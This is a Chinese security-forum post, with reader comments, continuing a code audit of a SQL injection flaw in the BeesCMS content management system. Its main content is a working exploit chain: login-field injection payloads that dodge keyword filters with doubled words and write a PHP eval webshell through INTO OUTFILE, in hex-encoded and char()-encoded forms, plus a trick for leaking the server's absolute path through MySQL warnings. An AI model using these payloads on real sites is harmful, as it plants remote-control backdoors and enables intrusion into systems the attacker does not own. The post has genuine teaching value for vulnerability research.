用户
搜索
  • TA的每日心情
    无聊
    2017-3-1 18:47
  • 签到天数: 38 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    11

    主题

    115

    帖子

    730

    魔法币
    收听
    4
    粉丝
    17
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 2016-10-15 21:44:18 2033035
    本帖最后由 ohlinge 于 2016-10-19 01:54 编辑
    文章难易度【★★★★
    文章阅读点/知识点: PHP代码审计、MySQL注入
    文章作者: 0h1in9e
    本文参与i春秋社区原创文章奖励计划,未经许可禁止转载



    0x01 前言
    在上一篇中,详细的介绍到了SQL注入产生的条件和原因,而对利用方法的思考还是有局限性,没有达到效果。另外对于单引号的引入问题还不是很明确。在这篇,我们继续对这一处SQL注入进行分析。

    0x02 Mysql注入的一个特性
    上篇分析到,由于函数fl_html()的影响,其实就是php函数htmlspecialchars(),导致不能写shell到目标机器。其实这里利用Mysql注入的一个特性就可以达到注入的效果。即对shell部分进行Hex编码,或者用mysql函数char()就可以轻松绕过这里的限制。
    方法一 hex编码
    我们写入shell的语句是:
    [SQL] 纯文本查看 复制代码
    user=admin' uni union on selselectect null,null,null,null,<?php @eval($_POST[a]); ?> in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20

    对shell部分进行hex编码为,这里我们采用Python简单编码:
    [Python] 纯文本查看 复制代码
    >>> '<?php @eval($_POST[a]); ?>'.encode('hex')
    '3c3f70687020406576616c28245f504f53545b615d293b203f3e'
    写入shell的payload为:
    [SQL] 纯文本查看 复制代码
    user=admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b615d293b203f3e in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20
    记得在编码转换的时候前面加0x或者直接用函数unhex亦可。
    [AppleScript] 纯文本查看 复制代码
    unhex(3c3f70687020406576616c28245f504f53545b615d293b203f3e)

    然后通过Burpsuit修改数据包写入,如图所示:
    QQ截图20161015192954.png

    本地查看写入的文件如图:
    QQ截图20161015193006.png

    可以看到在爆出密码的同时写入了webshell,下面我们尝试用菜刀链接,成功拿到webshell:
    QQ截图20161015193245.png

    方法二 使用char函数
    Mysql内置函数char()可以将里边的ascii码参数转换为字符串,同样是上面编写的webshell转换成ascii的形式,这里我们用Python实现快速转换:
    [Python] 纯文本查看 复制代码
    >>> map(ord, "<?php @eval($_POST[a]); ?>")
    [60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62]
    然后我们的注入语句就可以写作:
    [SQL] 纯文本查看 复制代码
    user=admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62)  in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20
    同样我们看看执行后的结果是成功写入了webshell:
    QQ截图20161015204259.png

    本地加入的a.php文件内容:
    QQ截图201610151930061.png

    成功拿到webshell
    QQ截图201610151932451.png


    这里需要注意,有时候用char函数时,会出现乱码的情况,这个时候就需要将两种方式结合起来,采用下面的形式即可避免乱码出现:
    [SQL] 纯文本查看 复制代码
    unhex(char(60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62))

    以上两种方式就可以成功绕过一些敏感字符过滤,从而正常写入webshell。

    0x03 绝对路径问题
    正如@zusheng 师傅在上篇的评论,前面的测试均是在本地测试的,有个问题就是本地文件绝对路径我们是知道的,但是远程情况下,我们不知道网站绝对路径。在这种情况下我们是不是就没有办法继续了?其实不然,足够细心的话你会发现前面有张图里边已经有绝对路径出现了,没错,就是Burpsuit执行注入语句那张图。那么我们就知道了,需要让mysql出现Warring就可以得到路径了。
    QQ截图20161015205344.png

    比如还是写shell的语句,不知道路径的情况下随便写一个不存在的路径也可以达到效果,如下图:
    QQ截图20161015205941.png

    方法很多,多多尝试总会有新发现的!

    0x04 对单引号问题的思考
    上篇中有评论到单引号的问题,就是说既然htmlspecialchars函数过滤掉了单引号,那么注入语句中的单引号是怎么引入的?
    针对这个问题,我查阅了一些资料,也在本地测试此函数,得出了一个结果,就是在默认情况下,函数只解析双引号,如图:
    QQ截图20161015210908.png

    那既然这样的话,代码中这样写的话htmlspecialchars(str),都存在单引号引入的问题。
    我们看看Beescms里边的写法,定位到函数 fl_html : (位于/includes/fun.php下面)
    [PHP] 纯文本查看 复制代码
    function fl_html($str){
            return htmlspecialchars($str);
    }
    可以看到的确是这样写的,证明了单引号引入的问题。

    0x05 总结
    看似简单的审计过程,其实其中涵盖的知识点很多。像上面涉及到的PHP语法、Mysql、网站绝对路劲爆破以及利用Python来方便自己的工作等等,大多数都是要靠我们平时多积累。而且要懂得变通,就像在本篇中的mysql注入的利用技巧,单引号注入问题都很常见,但是如果我们了解不够深刻的话,还是很难成功地审计一款系统的。希望对你有所收获

    评分

    参与人数 1价值分 +13 收起 理由
    zusheng + 13 感谢你的分享,i春秋论坛有你更精彩!.

    查看全部评分

    本帖被以下淘专辑推荐:

    欢迎访问我的博客 https://www.ohlinge.cn
    发表于 2016-10-19 16:28:45
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!

    基本项加分项
    作者帖子标题内容要求内容稀缺性文章篇幅文章深度文章可读性是否系列文章排版优化总分奖金点评
    ohlinge【代码审计】对Beescms SQL注入漏洞的进一步思考222321113100介绍的很详细,不错的代码审计过程

    Hacking the earth.My Blog:https://isbase.cc
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发表于 2017-11-18 20:52:32
    代码审计!
    用代码将梦想照进现实!Qq:2047797039
    使用道具 举报 回复
    发表于 2016-10-16 09:48:49
    沙发
    使用道具 举报 回复
    发表于 2016-10-16 09:49:27
    板凳谢谢楼主分享,讲的很好
    使用道具 举报 回复
    发表于 2016-10-16 11:01:14
    谢谢楼主分享,讲的很好
    使用道具 举报 回复
    楼主还是没理解我关于单引号的问题。 问题不在htmlspecialchars默认情况下不转义单引号 而在于高版本php默认转义GPC的单引号 为什么POST的单引号没被转义或者说 转义之后怎么被重新引入的 才是这个注入点最值得讨论的地方。楼主代码审多了就会发现 基本上90%的注入漏洞审计过程都是围绕着怎么来引入一个单引号闭合正常的sql语句。
    使用道具 举报 回复
    发表于 2016-10-17 09:49:02
    索马里的海贼 发表于 2016-10-16 11:55
    楼主还是没理解我关于单引号的问题。 问题不在htmlspecialchars默认情况下不转义单引号 而在于高版本php默 ...

    说的很到点。
    使用道具 举报 回复
    发表于 2016-10-17 09:49:15
    索马里的海贼 发表于 2016-10-16 11:55
    楼主还是没理解我关于单引号的问题。 问题不在htmlspecialchars默认情况下不转义单引号 而在于高版本php默 ...

    说的很到点。
    使用道具 举报 回复
    发表于 2016-10-17 09:58:58
    1111111111111
    使用道具 举报 回复
    发表于 2016-10-17 11:56:33
    索马里的海贼 发表于 2016-10-16 03:55
    楼主还是没理解我关于单引号的问题。 问题不在htmlspecialchars默认情况下不转义单引号 而在于高版本php默 ...

    感谢。本地测试的环境是PHP 5.6.8,可以引入单引号,在实际测试几个站点当中,也是可以引入的。
    这里应该不是转义之后引入,而是没有转义吧
    QQ截图20161017114551.png
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    ohlinge 发表于 2016-10-17 11:56
    感谢。本地测试的环境是PHP 5.6.8,可以引入单引号,在实际测试几个站点当中,也是可以引入的。
    这里应该 ...

    好像是我记错了 5.4以上移除了magic_quotes_gpc之后是默认关闭 难得碰上个这么耿直的注入点
    使用道具 举报 回复
    发表于 2016-10-18 23:22:47
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2016-10-19 19:47:29
    既然会有报错信息,应该也可以试一试报错注入吧
    使用道具 举报 回复
    发表于 2016-10-19 21:35:20
    我i学习 发表于 2016-10-19 11:47
    既然会有报错信息,应该也可以试一试报错注入吧

    嗯,这里注入方法很多,都可以尝试下的
    欢迎访问我的博客 https://www.ohlinge.cn
    使用道具 举报 回复
    发表于 2016-10-20 16:04:46
    我感觉这个的核心就是程序是采用 函数fl_value 和 函数 fl_html的黑名单过滤的关键字,只要想办法绕过关键字就可以注入

    这样理解对不对?

    不可告人的秘密:ixuehua.blog.163.com


    -
    <script>alert(/xxx/)<script>
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册